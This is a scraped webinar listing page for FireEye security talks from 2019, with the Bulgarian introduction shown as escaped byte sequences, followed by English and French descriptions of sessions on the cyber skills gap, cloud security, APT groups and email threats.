\xd0\xbe\xd1\x80\xd0\xb3\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xbf\xd0\xbe \xd0\xbd\xd0\xb5\xd0\xb2\xd0\xbd\xd0\xb8\xd0\xbc\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb5 \xd0\xb4\xd0\xb0 \xd1\x81\xd1\x82\xd0\xb0\xd0\xbd\xd0\xb5 \xd0\xb1\xd1\x80\xd1\x8a\xd0\xbd\xd0\xba\xd0\xb0 \xd0\xb2\xd1\x8a\xd0\xb2 \xd0\xb2\xd0\xb5\xd1\x80\xd0\xb8\xd0\xb3\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbe\xd1\x82 \xd1\x81\xd1\x8a\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb8\xd1\x8f, \xd0\xb2\xd0\xbe\xd0\xb4\xd0\xb5\xd1\x89\xd0\xb8 \xd0\xb4\xd0\xbe \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb0. \xd0\x9d\xd1\x8f\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xbc\xd0\xbe\xd0\xb6\xd0\xb5 \xd0\xb4\xd0\xb0 \xd0\xbe\xd1\x82\xd0\xb2\xd0\xbe\xd1\x80\xd0\xb8 \xd0\xb7\xd0\xbb\xd0\xbe\xd0\xbd\xd0\xb0\xd0\xbc\xd0\xb5\xd1\x80\xd0\xb5\xd0\xbd \xd0\xb8\xd0\xbc\xd0\xb5\xd0\xb9\xd0\xbb, 90% \xd0\xbe\xd1\x82 \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbe\xd1\x87\xd0\xb2\xd0\xb0\xd1\x82 \xd1\x81 \xd0\x95\xd0\x94\xd0\x98\xd0\x9d \xd0\x98\xd0\x9c\xd0\x95\xd0\x99\xd0\x9b! \xd0\x97\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5 \xd0\xbc\xd0\xbe\xd0\xb3\xd0\xb0\xd1\x82 \xd0\xb4\xd0\xb0 \xd0\xb2\xd0\xbb\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x82 \xd0\xb8 \xd0\xbf\xd1\x80\xd0\xb5\xd0\xb7 \xd0\xba\xd1\x80\xd0\xb0\xd0\xb9\xd0\xbd\xd0\xb8\xd1\x82\xd0\xb5 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8 \xd0\xb8 \xd0\xb4\xd0\xb0 \xd1\x81\xd0\xb5 \xd0\xb4\xd0\xb2\xd0\xb8\xd0\xb6\xd0\xb0\xd1\x82 \xd0\xbf\xd1\x80\xd0\xb5\xd0\xb7 \xd0\x92\xd0\xb0\xd1\x88\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbc\xd1\x80\xd0\xb5\xd0\xb6\xd0\xb0, \xd0\xbf\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x88\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd0\xbd\xd0\xb5\xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xbe\xd0\xbc\xd0\xb5\xd1\x80\xd0\xbd\xd0\xbe \xd0\xbf\xd1\x80\xd0\xb0\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbd\xd0\xb0 \xd0\xbf\xd0\xbe\xd1\x82\xd1\x80\xd0\xb5\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd0\xb8\xd1\x82\xd0\xb5, \xd0\xbf\xd1\x80\xd0\xbe\xd0\xb2\xd0\xb5\xd0\xb6\xd0\xb4\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb7\xd0\xbd\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5 \xd0\xb8 \xd0\xba\xd1\x80\xd0\xb0\xd0\xb4\xd0\xb5\xd0\xb9\xd0\xba\xd0\xb8 \xd0\xb4\xd0\xb0\xd0\xbd\xd0\xbd\xd0\xb8. \xd0\xa1\xd0\xb0\xd0\xbc\xd0\xbe \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0 \xd1\x81\xd0\xb0\xd0\xbc\xd0\xb0 \xd0\xbf\xd0\xbe \xd1\x81\xd0\xb5\xd0\xb1\xd0\xb5 \xd1\x81\xd0\xb8 \xd0\xbd\xd0\xb5 \xd0\xb5 \xd0\xb4\xd0\xbe\xd1\x81\xd1\x82\xd0\xb0\xd1\x82\xd1\x8a\xd1\x87\xd0\xbd\xd0\xb0 \xd0\xb7\xd0\xb0 \xd0\xb1\xd0\xbe\xd1\x80\xd0\xb1\xd0\xb0 \xd1\x81 \xd0\xba\xd0\xb8\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5. FireEye \xd0\xb8\xd0\xb7\xd0\xbf\xd0\xbe\xd0\xbb\xd0\xb7\xd0\xb2\xd0\xb0\xd1\x82 \xd1\x83\xd0\xbd\xd0\xb8\xd0\xba\xd0\xb0\xd0\xbb\xd0\xb5\xd0\xbd \xd0\xb8\xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x86\xd0\xb8\xd0\xbe\xd0\xbd\xd0\xb5\xd0\xbd \xd1\x86\xd0\xb8\xd0\xba\xd1\x8a\xd0\xbb, \xd0\xba\xd0\xbe\xd0\xb9\xd1\x82\xd0\xbe \xd0\xba\xd0\xbe\xd0\xbc\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x80\xd0\xb0 \xd0\xba\xd0\xbe\xd0\xbc\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x80\xd0\xb0\xd1\x82 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd0\xb8 \xd1\x81 \xd0\xb4\xd0\xbe\xd0\xba\xd0\xb0\xd0\xb7\xd0\xb0\xd0\xbd\xd0\xbe \xd1\x81\xd0\xb2\xd0\xb5\xd1\x82\xd0\xbe\xd0\xb2\xd0\xbd\xd0\xbe \xd0\xba\xd0\xb0\xd1\x87\xd0\xb5\xd1\x81\xd1\x82\xd0\xb2\xd0\xbe, \xd0\xb1\xd0\xb5\xd0\xb7\xd0\xbf\xd1\x80\xd0\xb5\xd1\x86\xd0\xb5\xd0\xb4\xd0\xb5\xd0\xbd\xd1\x82\xd0\xbd\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xb8\xd1\x87\xd0\xb5\xd1\x81\xd0\xba\xd0\xb0 \xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb0\xd1\x89\xd0\xb0 \xd0\xb5\xd0\xba\xd1\x81\xd0\xbf\xd0\xb5\xd1\x80\xd1\x82\xd0\xb8\xd0\xb7\xd0\xb0, \xd0\xbf\xd1\x80\xd0\xb8\xd0\xb4\xd0\xbe\xd0\xb1\xd0\xb8\xd1\x82\xd0\xb8 \xd0\xb4\xd0\xb8\xd1\x80\xd0\xb5\xd0\xba\xd1\x82\xd0\xbd\xd0\xbe \xd0\xbe\xd1\x82 \xe2\x80\x9e\xd1\x84\xd1\x80\xd0\xbe\xd0\xbd\xd1\x82\xd0\xbe\xd0\xb2\xd0\xb0\xd1\x82\xd0\xb0 \xd0\xbb\xd0\xb8\xd0\xbd\xd0\xb8\xd1\x8f\xe2\x80\x9c, \xd0\xb2\xd0\xba\xd0\xbb\xd1\x8e\xd1\x87\xd0\xb8\xd1\x82\xd0\xb5\xd0\xbb\xd0\xbd\xd0\xbe \xd1\x83\xd1\x81\xd0\xbb\xd1\x83\xd0\xb3\xd0\xb8 \xd0\xbe\xd1\x82 \xd1\x81\xd0\xb2\xd0\xb5\xd1\x82\xd0\xbe\xd0\xb2\xd0\xb5\xd0\xbd \xd0\xba\xd0\xbb\xd0\xb0\xd1\x81, \xd0\xba\xd0\xb0\xd0\xba\xd1\x82\xd0\xbe \xd0\xb8 \xd0\xb8\xd0\xbd\xd1\x84\xd0\xbe\xd1\x80\xd0\xbc\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xb7\xd0\xb0 \xd0\xbd\xd0\xbe\xd0\xb2\xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8, \xd0\xba\xd0\xbe\xd1\x8f\xd1\x82\xd0\xbe \xd0\xbd\xd0\xb8\xd0\xba\xd0\xbe\xd0\xb9 \xd0\xb4\xd1\x80\xd1\x83\xd0\xb3 \xd0\xbd\xd0\xb5 \xd1\x83\xd1\x81\xd0\xbf\xd1\x8f\xd0\xb2\xd0\xb0 \xd0\xb4\xd0\xb0 \xd1\x81\xd1\x8a\xd0\xb1\xd0\xb5\xd1\x80\xd0\xb5! \xd0\x95\xd0\xba\xd0\xbe\xd1\x81\xd0\xb8\xd1\x81\xd1\x82\xd0\xb5\xd0\xbc\xd0\xb0\xd1\x82\xd0\xb0 FireEye \xd1\x81\xd1\x8a\xd1\x87\xd0\xb5\xd1\x82\xd0\xb0\xd0\xb2\xd0\xb0 \xd0\xbf\xd1\x8a\xd0\xbb\xd0\xb5\xd0\xbd \xd0\xbd\xd0\xb0\xd0\xb1\xd0\xbe\xd1\x80 \xd0\xbe\xd1\x82 \xd0\xb2\xd1\x8a\xd0\xb7\xd0\xbc\xd0\xbe\xd0\xb6\xd0\xbd\xd0\xbe\xd1\x81\xd1\x82\xd0\xb8 \xd0\xb7\xd0\xb0 \xd0\xbe\xd1\x82\xd0\xba\xd1\x80\xd0\xb8\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5, \xd0\xb7\xd0\xb0\xd1\x89\xd0\xb8\xd1\x82\xd0\xb0 \xd0\xb8 \xd1\x80\xd0\xb0\xd0\xb7\xd1\x81\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5 \xd1\x87\xd1\x80\xd0\xb5\xd0\xb7 Network, Endpoint, and Email Security Solutions! \xd0\x9f\xd1\x80\xd0\xb8\xd1\x81\xd1\x8a\xd0\xb5\xd0\xb4\xd0\xb8\xd0\xbd\xd0\xb5\xd1\x82\xd0\xb5 \xd1\x81\xd0\xb5 \xd0\xba\xd1\x8a\xd0\xbc \xd1\x82\xd0\xbe\xd0\xb7\xd0\xb8 \xd1\x83\xd0\xb5\xd0\xb1\xd0\xb8\xd0\xbd\xd0\xb0\xd1\x80, \xd0\xbf\xd0\xbe \xd0\xb2\xd1\x80\xd0\xb5\xd0\xbc\xd0\xb5 \xd0\xbd\xd0\xb0 \xd0\xba\xd0\xbe\xd0\xb9\xd1\x82\xd0\xbe \xd1\x81\xd0\xb8\xd1\x81\xd1\x82\xd0\xb5\xd0\xbc\xd0\xbd\xd0\xb8\xd1\x8f\xd1\x82 \xd0\xb8\xd0\xbd\xd0\xb6\xd0\xb5\xd0\xbd\xd0\xb5\xd1\x80 \xd0\xbe\xd1\x82 \xd0\x9a\xd0\x9e\xd0\x9c\xd0\x9f\xd0\xae\xd0\xa2\xd0\xaa\xd0 2000 \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd0\xb8\xd1\x8f \xd0\x97\xd0\xbb\xd0\xb0\xd1\x82\xd0\xbe\xd0\xbc\xd0\xb8\xd1\x80 \xd0\x9c\xd0\xb8\xd0\xbb\xd0\xb0\xd0\xbd\xd0\xbe\xd0\xb2 \xd1\x89\xd0\xb5 \xd1\x80\xd0\xb0\xd0\xb7\xd0\xba\xd0\xb0\xd0\xb6\xd0\xb5 \xd0\xb8 \xd0\xb4\xd0\xb5\xd0\xbc\xd0\xbe\xd0\xbd\xd1\x81\xd1\x82\xd1\x80\xd0\xb8\xd1\x80\xd0\xb0 \xd0\xba\xd0\xb0\xd0\xba \xd0\xb7\xd0\xb0\xd0\xbf\xd0\xbb\xd0\xb0\xd1 \xd0\xb8\xd1\x82\xd0\xb5 \xd0\xb2 \xd0\xb4\xd0\xb0\xd0\xb4\xd0\xb5\xd0\xbd\xd0\xb0 \xd0\xbe\xd1\x80\xd0\xb3\xd0\xb0\xd0\xbd\xd0\xb8\xd0\xb7\xd0\xb0\xd1\x86\xd0\xb8\xd1\x8f \xd0\xbc\xd0\xbe\xd0\xb3\xd0\xb0\xd1\x82 \xd0\xb4\xd0\xb0 \xd0\xb1\xd1\x8a\xd0\xb4\xd0\xb0\xd1\x82 \xd0\xbe\xd1\x82\xd0\xba\xd1\x80\xd0\xb8\xd1\x82\xd0\xb8 \xd1\x81 \xd0\xbf\xd0\xbe\xd0\xbc\xd0\xbe\xd1\x89\xd1\x82\xd0\xb0 \xd0\xbd\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0 FireEye \xd0\xb7\xd0\xb0 \xd0\xbc\xd1\x80\xd0\xb5\xd0\xb6\xd0\xb8, \xd0\xba\xd1\x80\xd0\xb0\xd0\xb9\xd0\xbd\xd0\xb8 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8 \xd0\xb8 \xd0\xb5\xd0\xbb\xd0\xb5\xd0\xba\xd1\x82\xd1\x80\xd0\xbe\xd0\xbd\xd0\xbd\xd0\xb0 \xd0\xbf\xd0\xbe\xd1\x89\xd0\xb0, \xd0\xbf\xd0\xbe\xd0\xba\xd0\xb0\xd0\xb7\xd0\xb2\xd0\xb0\xd0\xb9\xd0\xba\xd0\xb8 \xd1\x81\xd1\x86\xd0\xb5\xd0\xbd\xd0\xb0\xd1\x80\xd0\xb8\xd0\xb8 \xd0\xb7\xd0\xb0 \xd0\xb0\xd1\x82\xd0\xb0\xd0\xba\xd0\xb8 \xd0\xbe\xd1\x82 \xd1\x80\xd0\xb0\xd0\xb7\xd0\xbb\xd0\xb8\xd1\x87\xd0\xbd\xd0\xb8 \xd0\xb3\xd0\xbb\xd0\xb5\xd0\xb4\xd0\xbd\xd0\xb8 \xd1\x82\xd0\xbe\xd1\x87\xd0\xba\xd0\xb8, \xd0\xba\xd0\xb0\xd0\xba\xd1\x82\xd0\xbe \xd0\xb8 \xd0\xba\xd0\xb0\xd0\xba \xd1\x80\xd0\xb0\xd0\xb7\xd1\x83\xd0\xb7\xd0\xbd\xd0\xb0\xd0\xb2\xd0\xb0\xd0\xbd\xd0\xb5\xd1\x82\xd0\xbe \xd0\xb4\xd0\xbe\xd0\xbf\xd1\x8a\xd0\xbb\xd0\xb2\xd0\xb0 \xd1\x82\xd0\xb5\xd1 \xd0\xbd\xd0\xbe\xd0\xbb\xd0\xbe\xd0\xb3\xd0\xb8\xd1\x8f\xd1\x82\xd0\xb0. Save your seat How to Resolve the Cyber Skills Gap Sep 30 2019 10:30 am UTC 18 mins Kevin Taylor - Senior VP EMEA; Mike Trevett - Director, Professional Services, UKI; Simon Moor, VP, NEUR There is a very prevalent human factor to the success of cyber security; behind the technology lies a team of professionals with a range of technical and specialist skills used to implement defense and proactive hunting strategies. While technology has a big part to play in the war against cyber attacks, it is the human element which is both the catalyst for attack and defense. There are an estimated 3.5 million unfilled cyber security positions forecasted for 2021 and research suggests it\xe2\x80\x99s only getting worse. Security leaders must spend far too much time finding, hiring and retaining staff. When leaders cannot find appropriately skilled talent, they are often forced to hire junior employees. Less experienced and untested staff can dramatically increase the risk of a cyber breach. Join this webinar as our executives discuss the cyber security skills crisis in line with the evolving threat landscape and near- and longer-term options to mitigate the risk of a security breach. Save your seat Visibilit\xc3\xa9 et s\xc3\xa9curisation du cloud avec FireEye Helix Sep 26 2019 12:30 pm UTC 45 mins David Grout, CTO, Emea, FireEye et Arnaud Garnier, Systems Engineer, FireEye, France La migration des infrastructures dans le cloud pose de nouveaux enjeux sur la s\xc3\xa9curisation des donn\xc3\xa9es. Les attaques comportent de moins en moins de malware et les entreprises doivent pour cela s\xe2\x80\x99adapter et trouver des outils ad\xc3\xa9quates pour combler le vide laiss\xc3\xa9 par les \xc3\xa9quipements de s\xc3\xa9curit\xc3\xa9 traditionnels. FireEye Helix permet de: gagner de la visibilit\xc3\xa9 sur les infrastructures cloud ; confronter tous les \xc3\xa9v\xc3\xa8nements anormaux \xc3 l\xe2\x80\x99expertise FireEye h\xc3\xa9rit\xc3\xa9e de FireEye Mandiant et de FireEye Threat Intelligence. Fort de cette exp\xc3\xa9rience terrain, la solution FireEye Helix appara\xc3\xaet comme la solution la mieux adapt\xc3\xa9e pour r\xc3\xa9pondre \xc3 ces nouveaux enjeux. Durant ce webinaire de 45 minutes, David Grout, CTO EMEA, et Arnaud Garnier, Systems Engineer, France, reviendrons sur la n\xc3\xa9cessit\xc3\xa9 de gagner en visibilit\xc3\xa9 sur les infrastructures cloud afin de pouvoir d\xc3\xa9tecter les nouvelles m\xc3\xa9thodes d\xe2\x80\x99attaques et ainsi les contrecarrer. Save your seat More Cloud, More Problems? Sep 23 2019 7:00 pm UTC 60 mins Martin Holste, Cloud CTO, FireEye The cloud is more pervasive in our organizations and our lives. But security operations centers (SOCs) can keep up, even when their organization adopts multiple public cloud and SaaS solutions. Join this webinar to ensure that your organization\xe2\x80\x99s cloud strategy is less of a problem than you might think. Expert Martin Holste, Cloud CTO at FireEye, shares: \xe2\x80\xa2 Trade-offs and nuances between cloud providers \xe2\x80\xa2 Considerations that can affect your strategic direction \xe2\x80\xa2 Seasoned guidance on how to optimize your cloud migration Save your seat Cyber Threats Impacting Healthcare Today Recorded: Sep 17 2019 58 mins Luke McNamara, Principal Intelligence Analyst, FireEye & Lauren T. Winchester, Breach Response Services Manager, Beazley For some time, the healthcare sector has faced a wide range of threat actors and adversary motivations. Today, data held by healthcare organizations\xe2\x80\x94patient records, medical research, and more\xe2\x80\x94remains at risk from cyber criminals and espionage groups. More disruptive cyber attacks can even hamper operations within healthcare providers. Join us on September 17 at 9 a.m. PT/12 p.m. ET, as FireEye and Beazley present a webinar that discusses the latest breach and threat landscape trends for this sector. Watch now Double Dragon: APT41, a Dual Espionage and Cyber Crime Operation Recorded: Aug 29 2019 56 mins Jacqueline O'Leary,Principal Analyst; Raymond Leong, Principal Threat Analyst; Dan Perez, Principal Threat Analyst Defending the frontlines of cybersecurity is a never-ending battle, with new advanced persistent threat (APT) groups lurking to steal data, compromise infrastructure, and interfere with victim business operations. FireEye\xe2\x80\x99s newly named threat group, APT41 is no exception. Their aggressive and consistent mode of operation, and highly sophisticated tactics, distinguishes them from other adversaries making them a double threat to contend with. APT41 uniquely balances espionage activity concurrently with financially motivated activity driven by personal gain. Since 2012 FireEye has observed APT41 conduct in a wide range of operations including data theft, innovative supply-chain attacks, and the use of unique tools and targeting techniques. Join this webinar to hear FireEye Threat Intelligence experts, Jacqueline O\xe2\x80\x99Leary, Raymond Leong and Dan Perez, provide: \xe2\x80\xa2Insights into attribution and shared tactics between espionage and financially motivated operations \xe2\x80\xa2Supply chain compromises attributed to APT41 activity \xe2\x80\xa2Unique malware capabilities and techniques \xe2\x80\xa2Details on connections to identified personas Watch now FireEye Chat: Cyber Security Skills Shortage Recorded: Jul 23 2019 30 mins Vasu Jakkal, EVP & CMO, Colin Carmichael, SVP & CIO and Jason Martin, EVP Front and Center with Colin Carmichael and Jason Martin on the Cyber Security Skills Shortage FireEye Chat, our quarterly talk show, brings guest experts front and center to cover today\xe2\x80\x99s most important cyber security topics. In this episode, we address the growing cyber security skills gap, which is expected to reach 3.5 million by 2021. The rise of technology, combined with more complex cyber security products and cyber threats, have gradually increased the demand for experienced, trained experts to fill a growing number of critical security roles in industry and government worldwide. Join us as our FireEye Chat panel discusses: \xe2\x80\xa2 An overview of the cyber skills gap \xe2\x80\xa2 Current proposed solutions \xe2\x80\xa2 A breakdown of how FireEye thinks about the challenge, as both a technology company and a security provider Watch now How FireEye Protects FireEye Recorded: Jun 20 2019 60 mins Matt Shelton, Director, Technology Risk & Threat Intelligence, FireEye FireEye relentlessly protects its customers. But who protects FireEye? Join us for an overview of how FireEye uses its own products and services to protect itself from the same threats faced by customers. In this webinar, Matt Shelton, FireEye Director of Technology Risk and Threat Intelligence, will reveal how FireEye: \xe2\x80\xa2Uses threat intelligence to proactively protect the organization \xe2\x80\xa2Detects threats using FireEye Network Security products \xe2\x80\xa2Responds to incidents with FireEye Endpoint Security \xe2\x80\xa2Leverages Helix as its security operations platform \xe2\x80\xa2Hunts for known and unknown threats within its environment. Watch now Top 5 Cloud Security Myths Debunked Recorded: Jun 20 2019 55 mins Martin Holste, Cloud CTO, FireEye Through 2022, at least 95% of cloud security failures are predicted to be the customer\xe2\x80\x99s fault (Gartner). But change how you think about cloud security, and you can be a success story. Join our webinar, which helps debunk several common myths that jeopardize your fast, secure, migration to the cloud: \xe2\x80\xa2 The cloud is unsafe \xe2\x80\xa2 My organization doesn\xe2\x80\x99t use the cloud \xe2\x80\xa2 My cloud provider will keep me secure \xe2\x80\xa2 The cloud is just someone else\xe2\x80\x99s computer \xe2\x80\xa2 Advanced adversaries aren\xe2\x80\x99t attacking the cloud You\xe2\x80\x99ll also learn how to identify a trusted advisor for cloud migration so you can confidently take advantage of cloud advancements. Presented by: Martin Holste, Cloud CTO at FireEye Watch now Help, my users have been hacked! What happened and how do I respond? Recorded: Jun 20 2019 38 mins Vinoo Thomas, Product Line Manager, FireEye A Breach Investigation Scenario Leveraging FireEye Endpoint Security FireEye spends thousands of hours annually investigating the world\xe2\x80\x99s most impactful security breaches - you don\xe2\x80\x99t have to stand alone when this happens to you. In this webinar, we will use a real-life scenario to dive deeper into how breaches are discovered and importantly, what security lessons can be learned. Join FireEye\xe2\x80\x99s Vinoo Thomas as we take a closer look at the discovery of credential harvesting and multiple compromised clients from a single compromised endpoint. Learn how investigation can be used to find and contain the impact of a breach in nearly any environment. Watch now A Review of Cyber Resilience -- Past, Present, and Future Recorded: Jun 20 2019 45 mins Rob van der Ende, VP APJ, FireEye Mandiant & Naureen Rasul, Head of Cyber Practice Asia, Marsh Pacific Rapidly evolving threats and infiltration techniques have rendered traditional cyber defense strategies insufficient and ineffective. The emerging threat vectors and speed of change amplified by the digital transformation cannot be addressed by traditional means. Globally, laws are also changing to keep pace as cybercrime evolves, knowing no boundaries. Therefore, organizations must be nimble and agile to keep pace with policy changes, especially when expanding across different jurisdictions Join us as we discuss three strategic imperatives to strengthen cyber resilience: \xe2\x80\xa2 Understand (know your threats) \xe2\x80\x93 Identify organization- and industry-specific cyber threats and regulations calls for robust strategies that include cross-disciplinary considerations. \xe2\x80\xa2 Measure (know yourself) \xe2\x80\x93 Quantify the potential financial impact of cyber exposures to compare against the level of risk appetite acceptable to the board. This will determine the amount of investment necessary to mitigate and transfer any residual risk. \xe2\x80\xa2 Manage (know what you can do) \xe2\x80\x93 Proactively manage cyber risks by having clear action plans based on your capabilities and capacities to protect against cyber criminals. While cyber-attacks are inevitable, proper preparation is the essential element that sets resilient organizations apart from the rest in managing risk, minimizing damage, and recovering quickly from any incidents. Watch now The Cyber Skills Gap: A Practitioner\xe2\x80\x99s Perspective Recorded: Jun 19 2019 52 mins Stanley Parret, Principal Consultant, FireEye Managed Defense The shortage of cybersecurity workers is a growing concern for the teams who are directly responsible for protecting the organization against cyber threats. It\xe2\x80\x99s estimated that by 2021, 3.5 million cyber security positions will go unfilled. Join Stanley Parret, Principal Consultant for FireEye Managed Defense, for a look at the unforeseen challenges and consequences of the growing cyber skills gap, especially around protecting against advanced threats. In this webinar, we\xe2\x80\x99ll discuss: -The impact of staffing shortages on security practitioners -How they\xe2\x80\x99re being required to protect more with less -The options available to security teams who need to extend their capacity Register now for the webinar Watch now Simplifying Security Operations with ONE Platform Recorded: Jun 19 2019 53 mins Ben Forster, Sr. Product Marketing Manager, FireEye Managing security operations is a challenge, and the technologies most organizations are using don\xe2\x80\x99t provide the visibility, detection efficacy, or context they need. As their risk profile expands, organizations rely on hiring more analysts and purchasing more tools, often depending on manual processes to find and mitigate threats. The high volume of alert noise strains security teams\xe2\x80\x99 resources and increases the probability they will miss an alert that matters. Organizations need a single solution that centralizes their security management, provides visibility, and allows them to quickly respond to threats with automation. In this webinar: - Understand the benefits of technology consolidation - Learn about what a single platform can do for your people and processes - Discover the untapped potential of your security investments Watch now How To Train Your Email Security Dragon Recorded: Jun 19 2019 38 mins Gareth Fraser-King, Director, Product Marketing EMEA The numbers make stark reading. 281 billion emails sent daily to over 2 billion business users. 91% of all cyber-attacks start with an email and it only takes 1 with malicious intent to impact your organisation. With evolving methods used by the adversary, it\xe2\x80\x99s becoming increasingly difficult not to get burned. Join Gareth Fraser-King, Director, Product Marketing EMEA, to learn: - The state of the cyber landscape, specific to email security. - How the attack vector is changing with new tactics, techniques, procedures and what you need to look out for. - Why is FireEye better at catching evolving attacks and how this can benefit you. Watch now Green Demon Denied Recorded: Jun 19 2019 25 mins Shashwath Hegde, Solutions Architect, APAC Managed Detection and Response (MDR) services should spot prevention failures and respond quickly. Good MDR services spot Red Teams and Pen Testers who are tasked with defeating preventative controls. A great MDR service knows when real, malicious threat actors are hiding their footprints amongst Red Team activity. In this war story, we discuss how Managed Defense, FireEye's MDR service, deals with such situations. Watch now Using Risk Management to Optimize Cybersecurity Costs Recorded: Jun 18 2019 47 mins Matt Keane, Senior Director, Risk Management Services \xe2\x80\x93 FireEye Mandiant Using Risk Management to Optimize Cybersecurity Costs: Best Practices for the C-Suite Cyber risk management is increasingly becoming a strategic priority for executive leaders worldwide, though many organizations find it challenging to accurately anticipate, prioritize, and forecast risk mitigation costs. C-level executives can meet these challenges by engaging their boards and their security teams to ensure they have the right data to scope risk-based focus areas. This allows the organization to plan effectively while keeping necessary security investments top of mind. Join this webinar with Matt Keane, FireEye Mandiant Senior Director of Risk Management Services, as he explains how to: \xe2\x80\xa2 Identify the top risks to your organization based on threat intelligence\xe2\x80\x94and communicate these trends to your board of directors in a way they\xe2\x80\x99ll hear \xe2\x80\xa2 Ensure that the board\xe2\x80\x99s security investment decisions support your organization\xe2\x80\x99s appetite for risk \xe2\x80\xa2 Establish a framework that ensures the alignment of strategic priorities with security spending \xe2\x80\xa2 Track the right risk performance metrics to monitor changes in your unique risk profile, so that you can shift priorities and spending when needed \xe2\x80\xa2 Apply these lessons to a sample business scenario. Register for this webinar to learn how executives like yourself can effectively implement these cyber risk management practices today. Watch now APT Groups: How They Think, What They Want, and How to Fight Them Recorded: Jun 18 2019 59 mins David Grout, CTO, EMEA, FireEye Like most cyber criminals, advanced persistent threat (APT) groups try to steal data, disrupt operations, and destroy infrastructure. But unlike other attackers, APT attackers pursue their objectives over months or even years, adapting to defenses and frequently retargeting the same victim. Join this webinar to hear David Grout, FireEye EMEA Chief Technology Officer explain how effective cyber threat intelligence (CTI) helps you understand APT groups\xe2\x80\x99 intents and tactics so you can stay ahead of attacks, instead of just reacting to them. He\xe2\x80\x99ll also provide: \xe2\x80\xa2A high-level overview of the nation-state interests driving APT activity \xe2\x80\xa2Insight into the most recent APT attacks investigated by FireEye \xe2\x80\xa2A deep dive into the workings of APT40, a Chinese cyber espionage group that typically targets countries and organizations strategically important to the country\xe2\x80\x99s \xe2\x80\x9cBelt and Road Initiative.\xe2\x80\x9d Watch now A Red Team Case Study Recorded: Jun 18 2019 48 mins Steve Ledzian, Vice President & Chief Technology Officer, APAC, FireEye Red Team assessments help organizations identify weaknesses in their current detection and response procedures so they can update their existing security programs to better deal with modern threats. We'll look at a red team case study detailed in FireEye's MTrends 2019 report where consultants performed an objective-based assessment that emulated a real cyber attack of an advanced, nation state attacker across the entire attack lifecycle Watch now Threat Intelligence on the Frontlines Recorded: Jun 18 2019 55 mins Tavis Newsome, Senior Intelligence Optimisation Analyst, FireEye Today, defeating cyber attackers and the techniques they employ requires real-time insight and intelligence. Staying ahead of attacks, instead of merely reacting, is the heart of cyber threat intelligence. To illustrate the importance of these capabilities to both public and private sector organizations, Tavis will draw from recent real-world intelligence findings, such as FireEye\xe2\x80\x99s collaboration with Facebook and Google to identify Iranian government influence campaigns, as well as our identification of North Korean state-sponsored groups targeting the energy sector. Watch now Technology, Intelligence and Expertise FireEye is the intelligence-led security company. Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence, and world-renowned Mandiant\xc2\xae consulting. With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent, and respond to cyber attacks. FireEye has over 7,700 customers across 67 countries, including more than 50 percent of the Forbes Global 2000. More Upcoming webinars (5) Recorded webinars (207) Subscribers (34,579) Channel RSS feed Up Down Watch later Watch later You can now save presentations to a watch later list and revisit them at your convenience. Click on your profile menu to find your watch later list. Got it Viewing Certificate Manage Register for Free Already have a BrightTALK account? Log in Recommended for you: [[ webcast.title ]] [[ webcast.presenters ]] Live [[ webcast.start * 1000 | amDateFormat: 'MMM D YYYY h:mm a' ]] [[ (webcast.duration / 60) | number:0 ]] mins [[ webcast.title ]] [[ webcast.presenters ]] Live [[ 